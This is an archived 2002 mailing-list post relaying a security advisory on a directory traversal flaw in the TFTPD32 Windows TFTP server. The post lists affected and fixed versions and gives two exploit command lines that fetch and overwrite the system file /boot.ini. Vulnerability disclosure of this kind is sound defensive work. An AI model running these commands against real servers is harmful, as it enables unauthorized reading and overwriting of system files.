OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Aviram Jenik (aviram_at_beyondsecurity.com)
Date: Mon Nov 18 2002 - 14:42:41 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Advisory available at:
    http://www.securiteam.com/windowsntfocus/6D00D2061G.html

    TFTPD32 Directory Traversal Vulnerability
    --------------------------------------------

    SUMMARY

    <http://tftpd32.jounin.net> TFTPD32 is a Freeware TFTP server for
    windows 9x/NT/XP. It provides an implementation of the TFTPv2 protocol
    (specified in the RFC 1350).

    A vulnerability in the product allows remote attackers to view any file
    on the system as well as write to arbitrary locations.

    DETAILS

    Vulnerable systems:
     * TFTP32 version 2.50.2 and prior

    Immune systems:
     * TFTP32 version 2.51

    Exploit:
    Getting files:
    tftp host GET /boot.ini

    Storing files:
    tftp host PUT myfile /boot.ini

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:expertsecuriteam.com>
    SecurITeam Experts. 

    --
Aviram Jenik
Beyond Security Ltd.
http://www.BeyondSecurity.com
http://www.SecuriTeam.com

    Know that you're safe:
http://www.AutomatedScanning.com